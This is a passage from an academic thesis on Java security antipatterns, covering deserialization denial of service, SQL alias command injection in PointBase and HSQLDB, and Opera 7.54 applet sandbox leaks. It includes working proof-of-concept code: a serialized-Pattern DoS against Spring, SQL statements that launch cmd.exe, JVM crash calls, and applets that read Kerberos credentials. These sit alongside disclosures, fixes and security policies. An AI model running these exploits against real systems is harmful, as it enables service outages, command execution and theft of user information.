(of the java.lang.regex package) where a timing vulnerability is
discovered could be exploited to cause a Denial-Of-Service attack.
8.5.3 Context
The classes used for communication are ObjectInputStream and Ob-
jectOutputStream and are located in the java.io package. Object-
InputStreams are therefore entry points into a running JAVA process by
providing a hidden constructor. The security constraints that are checked
in constructor should also be enforced in the deserialization code. When
that validation part is missing, careless serialization is a subcase of the
Improper Input Validation weakness (CWE-20).
When a serialized object is read from an external source, it is created by
the call of the readObject method of the corresponding type, if the ob-
ject is an implementation of the Serializable interface. The method
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readExternal is called when the object type is an implementation of
java.io.Externalizable. A detailed introduction of the JAVA object
serialization technique is provided by (Sun Microsystems, 2001b).
8.5.4 Forces
To decide, whether the received object is useful or not, the JVM has to
read the serialized representation of the object wholly from the given
java.io.ObjectInputStream and construct the object.
The programmer of a class may choose to add integrity checks or further
logic to the receiving process by overriding the readObject method to
initialize the transient variables and to introduce integrity checks.
Vulnerability gathering was performed by scanning the official develop-
ers forum for the JAVA language. The value of the input string has direct
impact on the construction time of a Pattern object (Sun Microsystems,
2004a) when the string parameter used chained groups that are bound to
the string end such as in the following regular expression:
(a)?(b)?(c)?(d)?(e)?(f)?$ (8.1)
The Pattern class does not provide a public constructor and is con-
structible only via the static factory method compile().
Further time measurement tests showed an exponential timing behav-
ior when creating Pattern objects with an increasing number of (X)?
groups, where X was chosen as an increasing character starting with 'a'
and resetting to 'a' after 'z' was reached.
The timing behavior for creating these objects is shown in Table 8.18,
the needed program is depicted in Figure 8.9. It shows the exponential
growth in processing time in relation to the number of groups. In con-
sequence, an object of the java.util.regex.Pattern class with a large
number of groups is able to block the execution on a remote JVM for a
large period. As a serializable class, it can be used to launch a denial-of-
service attack.
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import java.util.regex.*;
public class PatternTiming {
public static void main(String[] a) {
char c = 'a';
String end ="?";
String s = "";
for (int i = 0; i < 100 ; i++ ) {
s += "("+c+")?";
String ss = s+ "$";
long t = System.currentTimeMillis();
Pattern st = Pattern.compile(ss,Pattern.CANON_EQ);
long u = System.currentTimeMillis();
System.out.println(ss+":"+(u-t));
c++;
if (c > 'z')
c = 'a';
}
}
}
Figure 8.18: Benchmark code for creating Pattern instances
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# Groups Construction time in 1/1000 seconds
< 15 not measurable
16 30
17 60
18 100
19 190
20 391
21 781
22 1552
23 3335
24 9103
25 17856
26 40979
27 86684
28 154262
29 316976
30 660520
31 1221105
Table 8.9: Timing behavior of java.util.regex.Pattern
8.5.5 Faulty Beliefs
Programmers typically do not acquire enough knowledge about the pro-
cesses that are triggered when objects are marshalled and sent on the wire
to a remote JVM. A typical faulty belief is that the serialization API forces
full type-safety.
In the JAVA language Objects can be created via several techniques, see
Table 8.10.
A security-aware class implementation must enforce its integrity checks
for each of these techniques. In addition, side effects such as blocking
behavior should not differ between these alternatives to create objects as
it can be exploited to provoke resource blocking with the discussed ef-
fects. Serialization is an important technique in distributed application as
marshalled argument data is transferred between the instances of a dis-
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Constructors Calling the constructor is the recommended and main-
stream technique for creating objects.
Cloning Calling the clone method creates a copy of the object if the
class declaration allows cloning the object.
Serialization Objects are created, whenever the readObject or
readExternal method of an ObjectInputStream is
called
Table 8.10: Ways to create a new object
tributed system as serialized objects. This occurs in multiple facets like
shown in Figure 8.19.
A problem exists with the perception of the JAVA serialization algorithm
by the programmer, which will be demonstrated with the code snippet in
Figure 8.20, which is a simple generalization of all serialized data stream
handlers.
It becomes apparent, which the sequence in the source code may irri-
tate the programmer, as the readObject and the cast are not an atomic
operation, this leaves room for the attacker to influence the control flow
of the application.
As the JAVA Syntax obfuscates the sequence and atomicity of opera-
tions, this is how the snippet code is handled in bytecode. In the bytecode
control flow, the checkcast operation does not help to block that code is
executed that branches into code areas that the attacker chooses. This may
be a vulnerable implementation of a readObject method to trigger a cer-
tain malicious functionality. It is a general problem with object construc-
tion using ObjectInputStreams in RMI, JNDI and other JEE protocols
is letting the client program decide, which server code is executed next by
sending the appropriate serialized object representation.
Between t = 0 and t = 2 there is no type-safety. The client decides in
t = 0, which code (readObject method) the server branches into t = 1.
A feasible plan for the attacker is as follows:
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JNDIRMI JDBC other
Invoke readObject method of java.io.ObjectInputStream
determine class of serialized object 
(from classname and  serialVersionUID)
Invoke readObject method of determined class
HashTable.
readObject
Vector.
readObject ...
Figure 8.19: Serialization Flow
mySocket = new ServerSocket(3000);
while (true) { Socket client = mySocket.accept();
ReceiveRequest dtwt = new ReceiveRequest (client); }
class Request implements Serializable { }
class ReceiveRequest extends Thread{
Socket clientSocket = null ; ObjectInputStream ois = null;
ReceiveRequest (Socket theClient) throws Exception {
clientSocket = theClient;
// get the Streams
ois = new ObjectInputStream(clientSocket.getInputStream()); }
public void run() {
try {Request ac = (Request) // t=1 (the cast checks
// the object type!!!)
ois.readObject(); // t=0 (here we branch into an attacker
// determined read Object method)
}
catch (Exception e) { System.out.println(e) ; }
// ...
Figure 8.20: Handling Input from a socket
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t=0 Client sends byte stream (serialized object data) via an ObjectOutputStream
t=1 Server branches into readObject method of the class according to the client
payload (serialVersionUID)
t=2 Server casts object to the needed type
• A) cast is valid: continue work
• B) cast is invalid: throw ClassCastException
Table 8.11: Type determination during deserialization
1. Determine, if a vulnerable serializable class definition on the server
exists, especially in the readObject methods
2. Construction of byte streams, that hold valid object representation
according to the class definition, but choosing parameter values to
influence control flow
3. Embedding the object in the ObjectOutputStream payload of a
Java/JEE protocol (RMI, RMI/IIOP, JNDI, . . . )
8.5.6 Antipattern Solution
Not influenced by the fact that the receiving JVM expects a typed object in-
stance, the ObjectInputStream receives a java.util.regex.Pattern.
The Pattern object is always created by the runtime library calling the
readObject method of the class. This is done already before the appli-
cation layer program can cast the received object to a String instance.
The JVM therefore cannot prevent the invocation of endless loops or other
side effects contained in the implementation of the readObject method
of class declaration of the object sent for malicious purposes.
As we have shown before the java.util.regex.Pattern class has a
compiling timing weakness (fixed in 1.4.2_06). Every (x)? group in a
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/**
* Recompile the Pattern instance from a stream.
* The original pattern string is read in and the object
* tree is recompiled from it.
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in all fields
s.defaultReadObject();
// Initialize counts
groupCount = 1;
localCount = 0; // Recompile object tree
if (pattern.length() > 0)
compile();
else
root = new Start(lastAccept);
}
Figure 8.21: Vulnerable readObject method
regular expression pattern doubles the compilation time, a pattern of 56
groups therefore needs 800 years to compile. But it is not possible to
create such a serialized object in a regular call to the class constructor, as
it would take same as long. Moreover, an attacker would have to patch a
harmless object with the dangerous pattern. This could be easily achieved
by the use of a hex editor resulting in the serialized representation shown
in Appendix A.3.1.
When a serialized object of the java.util.regex.Pattern is received
by the server, it may take a significant time that can be influenced by the
attacker to compile the serialized object to an internal representation. This
is due to a suboptimal implementation of the readObject method.
The readObject methods of the following classes have been identified
to be vulnerable. They can cause harm to the availability of the underly-
ing JVM, as they, by being serializable, can be triggered by remote. Ta-
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Class Cause Effect Fixed OS
Pattern
(java.util.regex)
Compiles all in-
coming regular
expressions
High CPU load, ex-
ponential long cal-
culation time
1.4.2_06 All
ICC_Profile
(java.awt.color)
Propagates null
pointer to native code
Crashes the JVM 1.4.2_10 W32
Proxy
(java.lang.reflect)
Overflow on interface
counter
Crashes the JVM 1.5.0_05
1.4.2_11
All
HashSet (java.util) Inflation effect Consumes large
amount of heap
space
Not yet All
Table 8.12: Vulnerable serializable classes
ble 8.12 illustrates object types that have been found vulnerable during
our research. Appendix A.3 provides examples of these structures.
8.5.7 Symptoms
Side effects that occur are blockage of thread pool entries or file handles.
As these are limited resources, such occupation may lead to an availabil-
ity compromise as demonstrated in the further text. Other implemen-
tation dependent side effects may endanger integrity and confidentiality
as well when static variables or methods outside the local scope of the
readObject context are modified.
8.5.8 Refactored Solution
The problems described above were communicated to Sun Microsystems,
the vendor of the JDK. The last vulnerable version of the JDK was 1.4.2_05
and created a compiled version of the regular expression directly during
the deserialization of the object, the control flow is shown in Figure 8.11.
In the refactored version the compilation point was deferred to the time of
first usage as shown in Figure 8.22. To alarm the users of the JDK about
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/**
* Recompile the Pattern instance from a stream.
* The original pattern string is read in and the object
* tree is recompiled from it.
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in all fields
s.defaultReadObject(); // Initialize counts
groupCount = 1; localCount = 0;
// if length > 0, the Pattern is lazily compiled
compiled = false;
if (pattern.length() == 0) {
root = new Start(lastAccept);
matchRoot = lastAccept;
compiled = true;
}
}
Figure 8.22: Refactored readObject method
this problem Sun published a public security advisory (Sun Microsystems,
2004e).
8.5.9 Detection
The candidate selection is based on the set of serializable classes in the
JDK, which implement a readObject method.
The polymorphic readObject method is executed when the object type
definition is available to the current class loader. An attacker will therefore
choose classes in the TCB, those that are loader by the boot class loader.
To test the TCB classes of the JVM for the Uninvited Object Antipattern
a process with multiple steps is performed.
1. Generate candidate lists by invoking a class walker process, which
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uses bytecode instrumentation. Candidates are all classes that are
serializable and implement a readObject method.
2. Scan the class files in the jars of the boot class path to determine if
they are defining classes that are direct or indirect implementations
of the java.io.Serializable interface. With bytecode engineer-
ing techniques, the existence of the readObject method can be de-
termined.
3. In order to specify vulnerabilities specific to the serialization process
the differences between the implementation of the readObject/
readExternal method and the constructor. This may introduce
semantic differences in the construction process, those can be ex-
ploitable by an attacker.
If the implementation bases on object initialization through calling read-
DefaultObject then the checks that are typically enforced by the con-
structor are bypassed.
8.5.10 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.13.
8.5.11 Summary
This section showed how the process of serialization and interferences in
the readObject methods create availability vulnerabilities.
The described problem is based on the implementation technique of
object deserialization and is currently unsolved. Therefore it forms an
attack pattern that is exploitable by malicious code.
The presented example shows, that unaware coding of serialization
code leads to the Uninvited Object antipattern. In addition to the shown
instances several other deserialization routines in the JDK do not meet
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R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization X
R9 Avoid native methods
R10 Clear sensitive information
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages
Table 8.13: Violation of JSCG by Uninvited Object
the security requirements defined in the published guidelines by (Sun
Microsystems, 2002) and may lead to security vulnerabilities.
It was shown that the system stability is endangered when vulnerabili-
ties in JRE system libraries can be triggered from remote via deserializa-
tion, due to the implementation of the readObject method of a trusted
class. Application-level frameworks and services are directly affected by
layer-below attacks, caused by the JVM deserialization vulnerabilities, as
shown with CVE-2004-2450 (Mitre Corporation, 2004). Enterprise appli-
cations are affected as described by Schönefeld (2005b), similar problems
were also discovered in the classes of the Spring framework Figure 8.23.
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public class DoSSpring {
static byte[] getSerialized(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.flush();
oos.close();
return baos.toByteArray();
}
public static void main(String[] a) throws Exception{
String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" +
"?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" +
"?(W)?(I)?(U)?(a)?$";
String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern;
int length = longerPattern.length();
String fakePattern = longerPattern.replaceAll(".", "A");
JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut();
jrmp.setPattern(fakePattern);
System.out.println(jrmp);
byte[] theArray = getSerialized(jrmp);
int i = 0;
for (; i < theArray.length;i++) {
if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) {
break;
}
}
System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length);
ByteArrayInputStream bis = new ByteArrayInputStream(theArray);
ObjectInputStream ois = new ObjectInputStream(bis);
Object o = ois.readObject(); // returns after a very very long time
}
}
Figure 8.23: Denial-Of-Service in Spring framework(Thomas, 2009)
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8.6 Internal State Manipulation
JAVA applications frequently offer customization interfaces that include
scripting and configuration facilities. To include a broad already existing
functionality, several application systems expose the name space of the
JVM to an application-specific programming language such as SQL or
Beanshell. By manipulating certain private settings within the JVM, an
unprivileged user of the application system may execute actions under
the privileges of the JVM process.
The template for this antipattern is shown in Table 8.14.
8.6.1 Problem
JDBC (JAVA Database Connectivity) is an example for a standard program-
ming interface and application level communication protocol. JAVA cli-
ents use services of a local or remote database server via JDBC calls. To
enhance query flexibility JAVA functions can be used within SQL queries.
The same applies to embedded scripting environments (such as Bean-
shell, XSLT), which also expose the name space of the JDK to internal
scripting programs.
8.6.2 Background
When functions and methods within the TCB of the JVM are exposed
to untrusted user code via scripting environments, a path for attacker-
injected parameters to privileged actions is available.
8.6.3 Context
In addition to native database application platforms, several java based
database products are available on the commercial market. They offer
connectivity via the JDBC protocol. The most popular are these products:
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Name Internal State Manipulation
Problem Linking the JAVA namespace to internal programming environ-
ments are allowed to trigger privileged functionality
Background JDBC compatible databases implemented in JAVA are not
equipped with an appropriate security manager
Context Exposure of the functionality of the JDK via reflection mecha-
nisms of the SQL database allows to execute privileged actions
(CWE-470)
Forces Scripting commands like the CREATE ALIAS within the func-
tionality of HSQLDB is not constrained with security manager
settings
Faulty Beliefs
• SQL will be only used by clients to perform database
operations
• The containment model of the JDK does not allow es-
cape paths outside the control flow of the application
Consequences Overall system security compromised
Symptoms
• Information Disclosure
• Denial-Of-Service
• Code Injection
Refactored Solution Installation of a security policy enforced by the JAVA security
manager, after acquiring necessary security settings with the
JCHAINS security manager.
Table 8.14: Security antipattern: Internal State Manipulation
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CREATE ALIAS SIN FOR "java.lang.Math.sin";
Figure 8.24: SQL ALIAS definition
IBM Cloudscape is a standalone JAVA database product that is bundled to
the IBM Websphere application server (IBM Corporation, 2006a).
PointBase is a standalone database product that is bundled to the refer-
ence implementation of the JEE 1.4 standard (Secunia, 2004).
HSQLDB is a lightweight SQL database, which is also usable as stan-
dalone database. It is the default SQL provider bundled to the JBoss
application server in order to manage the queues for the JMS in-
frastructure and provide a data source service that is needed for
container-managed-persistence (hsqldb Development Group, 2005).
These three database products share a common set of vulnerabilities,
that an external attacker can exploit. In order to provide functionality
needed for data access JDBC supports the core SQL functionality such
as SELECT, CREATE and other commands. In addition to the core func-
tions JAVA SQL databases often provide the feature to define user defined
functions via the ALIAS command. The strategy of an attacker is to trigger
a vulnerable trusted function via a SQL call (Figure 8.24).
The CREATE ALIAS definition requires that the JAVA functions, which
are mapped to an SQL alias, are static and return void or a data type
that can be converted on the fly to an SQL value. HSQLDB has the
strictest conversion policy from JAVA types to SQL types. Therefore, the
set of assignable functions usable in all relevant SQL implementation is
restricted to the smallest universal usable sets, which are functions usable
in HSQLDB.
Allowing SQL to arbitrary call into JAVA methods is an example of the
Unsafe Reection weakness (CWE-470).
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8.6.4 Forces
When running in embedded mode, the host application and HSQLDB
share the same JVM. If the host application is implemented in a way that
prevents the transparent activation of the security manager, the default
installation and other specific configuration are likely to have the security
manager disabled. This allows attacks to access privileged and vulnerable
routines such as in the SPP, as they are not restricted in an unprotected
runtime mode. The JBoss server in version 3.2.x is an example for such
an application (JBoss Group, 2005a,b).
8.6.5 Faulty Beliefs
During requirements analysis the wrong assumption was established, that
the embedding scripting language would only be used by clients to benign
operations, such as database query operations. A second false perception
in the programmers mind is related to the protection containment model
of the JDK. Programmers trust the JVM that it does not allow escape paths
outside the control flow of the application. However, the exposure of static
methods and fields of the JVM undermines these goals, as they can be
accessed by an unprivileged user.
8.6.6 Antipattern Solution
In the beginning (2003) of our research penetration testing of local in-
stallations of all three databases was performed, these products were not
designed to run with a JAVA security manager. Consequently, they have
been found to be vulnerable to remote command injection, information
disclosure. A simple JDBC SQL statement was sufficient to start an arbi-
trary executable on the host running a SQL database, which open a covert
trigger. With a SecurityManager in place this would only be feasible
with an explicit "execute" java.io.FilePermission defined in the policy
file.
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CREATE FUNCTION COMPDEBUG (IN P1 boolean)
RETURNS VARCHAR(100)
LANGUAGE \JAVA NO SQL
EXTERNAL NAME "org.apache.xml.utils.synthetic.JavaUtils::setDebug"
PARAMETER STYLE SQL;
SELECT COMPDEBUG(true) FROM SYSUSERS;
CREATE FUNCTION SETPROP (IN P1 VARCHAR(100), IN P2 VARCHAR(100))
RETURNS VARCHAR(100)
LANGUAGE \JAVA NO SQL
EXTERNAL NAME "java.lang.System::setProperty"
PARAMETER STYLE SQL;
SELECT SETPROP('org.apache.xml.utils.synthetic.javac', 'cmd.exe') FROM SYSUSERS;
CREATE FUNCTION COMPILE (IN P1 VARCHAR(100), IN P2 VARCHAR(100))
returns VARCHAR(100)
LANGUAGE \JAVA NO SQL
EXTERNAL NAME "org.apache.xml.utils.synthetic.JavaUtils::JDKcompile"
PARAMETER STYLE SQL;
SELECT COMPILE('', '/c notepad.exe') FROM SYSUSERS;
Figure 8.25: SQL command injection
As a demonstration, the following statement for PointBase DB calls
JAVA code in the address space of the server JVM to launch a native exe-
cutable. These aliased classes were available in the JDK core until version
1.4.2_09.
8.6.7 Consequences
The SQL dialect of Pointbase allows aliasing of JAVA methods to SQL
functions. This is performed with the CREATE FUNCTION statement as
shown in Figure 8.25.
The example starts a notepad.exe on the host executing the JDBC
database as a proof of concept. To perform a malicious action every other
more harmful executable such as a remote shell could be started via this
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org.apache.xml.utils.synthetic.JavaUtils.setDebug(true); // 1.
System.setProperty("org.apache.xml.utils.synthetic.javac","cmd.exe"); // 2.
org.apache.xml.utils.synthetic.JavaUtils.JDKcompile("","/c notepad.exe"); // 3.
channel as well. The SQL statement is equal in functionality to the JAVA
code shown in Figure 8.6.7.
The syntax between the SQL dialects of the databases presented differ
in small details but the possibility of injection was shown for HSQLDB,
PointBase and Cloudscape SQL, when running on a Sun JDK 1.4.x virtual
machine.
The code does the following:
1. It sets a debug mode
2. Then an internal variable of the Xerces classes is set that defines the
default JAVA compiler to an arbitrary executable program
3. Finally, it calls the compile function, which invokes an executable
file (cmd.exe).
The important part of the next SQL statement is a call to a vulnera-
ble JVM routine in the sun.* packages, which causes an immediate JVM
crash in the remote JDBC server, when the security manager is not acti-
vated. This vulnerability was communicated to Sun by the author in 2002,
see Chapter 9.2.3 on fixing the underlying JVM weakness. The SQL state-
ment in Figure 8.26 is equal in functionality to the JAVA code depicted in
Figure 8.27.
8.6.8 Symptoms
An enhanced problem exists with Hypersonic SQL when deployed with
JBOSS application server 3.2.1. The default installation lacks an active
security manager. Furthermore and more important it opened a listing
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CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20)
LANGUAGE \JAVA
NO SQL
EXTERNAL NAME "sun.misc.MessageUtils::toStderr"
PARAMETER STYLE SQL;
SELECT CRASH5(null) from SYSUSERS;
Figure 8.26: SQL command alias to cause JVM crash
{ sun.misc.MessageUtils.toStderr(null); }
Figure 8.27: Simple Java statement to cause JVM crash
TCP port 1701 that accepted anonymous JDBC calls, which allowed to
inject arbitrary remote commands into the JEE process as the JDBC data
source is a database that is running in the same VM as the JEE server
process. We notified the vendor.
As a consequence, by closing the open port and switching default con-
figuration to the internal JVM communication mode, the vulnerability has
been removed by the JBOSS developers.
The candidate list for vulnerable routines in the JDK system classes is
retrieved by implementing an algorithm that filters the set of methods
for static routines with a specific compatible return value. A compatible
static function does return a primitive return value or a String and only
has primitives or Strings in the parameter list.
This can be done with the code of the HSQLDBALIASFINDER class,
which is available in Appendix A.2.
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8.6.9 Detection
The basis of the JDBC command injection approach is a list of vulnerable
functions in the JDK runtime classes, which are static and have a simple
type return value such as a String, a numeric primitive, or a void. Such a
candidate list can be retrieved with a BCEL (BCEL Project, 2006) method
walker (as shown in Chapter 4.4.4). The algorithm has to check for static
functions that comply with a specific signature filter.
The smallest set of available functionality was restricted by the mapping
of HSQLDB. Via bytecode engineering candidate methods in rt.jarwere
retrieved that have a public static void signature with primitive (such
as boolean) or java.lang.String input values. This set was scanned
whether the member calls privileged code parts such as file operations and
shell execution. Beside the presented examples other functionality can
be called that may be potentially misused for log manipulation or forged
program termination.
8.6.10 Refactored solution
As the classes in the org.apache.xml.utils.synthetic package are
considered experimental only (Zongaro, 2004), these were removed from
the JDK in version 1.4.2_09.
From the user perspective, this refactoring in a regular JDK release did
not remove as promptly as needed. Instead we suggested to perform a
policy-based refactoring. A typical use case for JCHAINS was evaluating
a useful least-privilege set of rules that allow the application to be ex-
ecuted, but have access to critical resources blocked or encapsulated in
well-defined privileged actions. However, such a system should be tested
with a well-defined coverage test not to lock up specific use cases, which
require privileged resources.
We provided the vendor with a possible security-related refactoring sug-
gestion. PointBase uses sockets, access to files and in its current working
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grant codeBase "file:${PointBase.lib}$\{file.separator\}-"
{
permission java.net.SocketPermission "*:1024-","connect,resolve,accept";
permission java.io.FilePermission ".", "read,write,delete";
permission java.util.PropertyPermission "*", "read";
};
Figure 8.28: Security Policy to secure Pointbase database
directory, which is a subset of all files that the process is potentially is
allowed to read.
The resulting security policy limits the damaging effect of using the
JDK functions within SQL, as a security manager blocks the access to crit-
ical resources without explicit granting a permission. PointBase was also
enhanced to support a security manager in version 4.8.
For securing the Cloudscape database IBM provides an optional startup
parameter that enables the security manager.
8.6.11 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.15.
8.6.12 Summary
The presented database systems have been refactored by applying a secu-
rity manager policy. The secure coding guidelines R1, R2, R4 are vio-
lated, and by that it was shown that careless use of JDBC alias macros vio-
lates the TCB function of the JVM as the integrity of the overall server sys-
tem was subverted. The JCHAINS case study in Chapter 9.3.8 shows how
to refactor the effects of this antipattern. The extend of this antipattern
to subvert application-level security has been shown in major database
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R1 Careful usage of static fields X
R2 Careful usage of static methods X
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access X
R6 Preference of immutable objects X
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods
R10 Clear sensitive information
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages
Table 8.15: Violation of JSCG by Internal State Exposure
products (Schönefeld, 2004c, 2003l) and application server environments
(Schönefeld, 2003p; Mitre Corporation, 2003).
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8.7 Private Namespace Exposure
JAVA supports a range of runtime models. One of them is the JAVA-
Plugin-Mode. In the browser embedded mode, it is important to limit
the permissions of the executed code to enforce the applet sandbox.
Name Private Namespace Exposure
Problem Configuring embedded JVM with an insecure policy setting
harms the security of the end user
Background Access to the TCB by applets is usable for gathering of identity
information and system configurations
Context Access to SPP opens the gate to undocumented and private
functionality of the internal runtime classes and violates Sun's
guidelines for secure JAVA programming.
Forces The JVM within Opera 7.54 had inappropriate security settings
Faulty Beliefs
• Access to SPP for user classes is necessary to imple-
ment JAVA plugin
Consequences The protection of the end user is endangered, such as theft of
credentials, information gathering about the end user's com-
puter configuration for preparation of a specific attack
Symptoms
• Integration of the opera specific JAVA plugin in con-
trast to the standard JAVA plugin to provide enhanced
security
• Access to SPP within the implementation of applica-
tions.
Refactored Solution Removal of the explicit grant to SPP for Opera 7.54 Update 1
Table 8.16: Security antipattern: Private Namespace Exposure
8.7.1 Problem
Allowing applets access to SPP is a configuration issue that causes the
JAVA plugin in the browser vulnerable to leakage of the JAVA sandbox,
allowing malicious applets to gain elevated privileges.
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import sun.awt.font.*;
public class Opera754FontCrashApplet extends java.applet.Applet{
public void start() {
int j = javax.swing.JOptionPane.showConfirmDialog(null,
"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? ");
if (j == 0) {
NativeFontWrapper.getFullNameByIndex(Integer.MIN_VALUE);
NativeFontWrapper.getFullNameByIndex(Integer.MAX_VALUE);
}
}
}
Figure 8.29: Opera 754 private namespace exposure
8.7.2 Background
Entry to the TCB by SPP enables applets to be used for gathering of local
identity information and system configurations as well as causing annoy-
ing crash effects. The Opera browser had this deployment antipattern in
Version 7.54 (Schönefeld, 2004d).
8.7.3 Context
Access to SPP opens the gate to some undocumented functionality and
violates Sun's guidelines for secure JAVA programming. This antipattern
is also known as the Failfure to fulll API contract weakness (CWE-227).
An attacker could crash the browser or perform other actions harmful to
the user security. Just like with the following proof-of-concept to trigger a
native debug assertion (Figure 8.29).
8.7.4 Forces
The default JAVA appletviewer implements the same security mechanisms
as the original JAVA plugin by Sun. It complains with the following mes-
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java.security.AccessControlException: access denied
(java.lang.RuntimePermission accessClassInPackage.sun.awt.font)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:269)
at java.security.AccessController.checkPermission(AccessController.java:401)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:524)
at java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:1491)
at sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:190)
at sun.applet.AppletClassLoader.loadClass(AppletClassLoader.java:119)
at java.lang.ClassLoader.loadClass(ClassLoader.java:235)
at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:302)
at Opera754FontCrashApplet.start(Opera754FontCrashApplet.java:9)
at sun.applet.AppletPanel.run(AppletPanel.java:377)
at java.lang.Thread.run(Thread.java:534)
Figure 8.30: Private namespace exposure error message
sage instead of executing a method from the SPP namespace, as show in
Figure 8.30.
8.7.5 Faulty Beliefs
During integration of the JAVA plugin the opera programmers integrated
the JVM under the false assumption that the access to SPP is necessary
for their own plugin implementation.
8.7.6 Antipattern solution
By altering the recommended policy settings for a default applet sand-
box they opened the gate for attackers to misuse the exposed SPP classes.
Opera allows all untrusted applets access to these classes by disabling the
default check for a access permission in order to use the SPP. In con-
trast to other major browsers, which use the JAVA Plugin, Opera uses the
JRE directly with a proprietary adapter. Opera also introduces a defini-
tion of the default policy, allowing unprivileged applets access to internal
sun-packages by specifying in the opera.policy file (Figure 8.31).
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grant {
permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
};
Figure 8.31: Opera 754 Policy File Problem
8.7.7 Consequences
Resulting from the loosening of the default security policy for applets, the
protection of the end user is endangered, as his credentials can be stolen.
In addition there is the possibility of gathering information about his com-
puting platform. Such knowledge could be used to launch a more specific
attack with the adequate techniques, such as a stealth rootkit specialized
for the windows platform (Hoglund and Butler, 2005).
8.7.8 Symptoms
The ability to access the SPP allows attackers to use an extended range of
privileged functionality and sensitive data. Some examples that demon-
strate the exploitation potential are furthermore presented:
Exposure of the location of local JAVA installation
Sniffing the URL classpath allows to retrieve the URLs of the bootstrap
class path and therefore the JDK installation directory. This is a privi-
lege escalation out of the protection domain for untrusted applets (Fig-
ure 8.32).
Exposure of local user name to an untrusted applet
An attacker could use the sun.security.krb5.Credentials class to re-
trieve the name of the currently logged in user and parse his home di-
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import sun.misc.*;
import java.util.Enumeration;
public class Opera754LauncherApplet extends java.applet.Applet{
public void start() {
URLClassPath o = Launcher.getBootstrapClassPath();
for (int i = 0; i < o.getURLs().length; i++) {
System.out.println(o.getURLs()[i]);
}
}
}
Figure 8.32: Opera 754 Bootstrap classpath Problem
rectory from the information, which is provided by the thrown java.se-
curity.AccessControlException (Figure 8.33). The attacker may then
evaluate the resulting exception thrown by acquireDefaultCreds, which al-
lows him to guess the operating system, the location of user files as well
as the name of the user running the applet (Figure 8.34).
8.7.9 Refactored Solution
We recommended the Opera programmers switching the opera JAVA ar-
chitecture to the standards based approach and use the standard JAVA
plugin from Sun.
For secure browsing with a JAVA-enabled version of Opera 7.54, we
recommended the programmers at Opera to support the standard JAVA
Plugin and the standard browser sandbox. However, the following triv-
ial patch in the JAVA policy file (opera.policy.) in the opera installation
removes the cause for the vulnerabilities. This can be done easily by com-
menting out the following grant section as shown in Figure 8.35.
8.7.10 Affected Security Goals
The violated guidelines by this Antipattern are marked in Table 8.17.
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import sun.security.krb5.*;
public class Opera754KerberosAppletPrint extends java.applet.Applet{
public void start() {
int j =
javax.swing.JOptionPane.showConfirmDialog(null,
"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? ");
System.out.println(j);
try {
Credentials c = Credentials.acquireDefaultCreds();
j = javax.swing.JOptionPane.showConfirmDialog(null,
"Illegalaccess.org |Credentials ="+c);
}
catch (Exception e) {
j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString());
}
}
}
Figure 8.33: Opera 754 Kerberos credentials exposure
java.security.AccessControlException: access denied (java.io.FilePermission
C:\Dokumente und Einstellungen\Marc\krb5cc_Marc read)
Figure 8.34: Opera 754 Kerberos credentials exception message
// Standard extensions get all permissions by default
[...]
//grant {
// permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
//};
Figure 8.35: Refactoring namespace exposure in Opera 7.54
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R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access X
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization
R9 Avoid native methods
R10 Clear sensitive information X
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages X
Table 8.17: Violation of JSCG by Private Namespace Exposure
8.7.11 Summary
The presented attack scenarios are catalogued for the Opera environment
under CVE-2004-1489.But they can be extrapolated from the limited opera
case to other protected environments, which allow untrusted code to ac-
cess the classes from the SPP. It furthermore became clear, that moving
away from secure default setting, such as the predefined security policy
for applets, could harm the protection of the end user. From architectural
level this section showed a typical problem regarding the reuse of stan-
dard components, and so completes the Long's catalog of Software Reuse
Antipatterns (Long, 2001).
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8.8 Disabling Abstraction
A fundamental principle of the JAVA programming language is abstract-
ing from the concrete runtime environment to be contained within a vir-
tual runtime environment. In the following it will be shown how the pro-
tective function of abstraction will be void when the bridging code leaking
of system-near details. The template for this antipattern is shown in Ta-
ble 8.18.
8.8.1 Problem
The protection model of the JAVA Runtime Environment depends on the
enforcement of strict visibility settings that only allow only privileged callers
to utilize system-near functions and data. From an attackers perspective,
these information aids the penetration of a JAVA-based system, even in
sandboxed environments.
8.8.2 Background
Even in sandboxed environments it is frequently necessary to branch into
system-near functionality. Those calls are proxied by the system libraries,
so the security manager can intercept whenever the caller is not allowed
to call a function due to the policy definitions.
8.8.3 Context
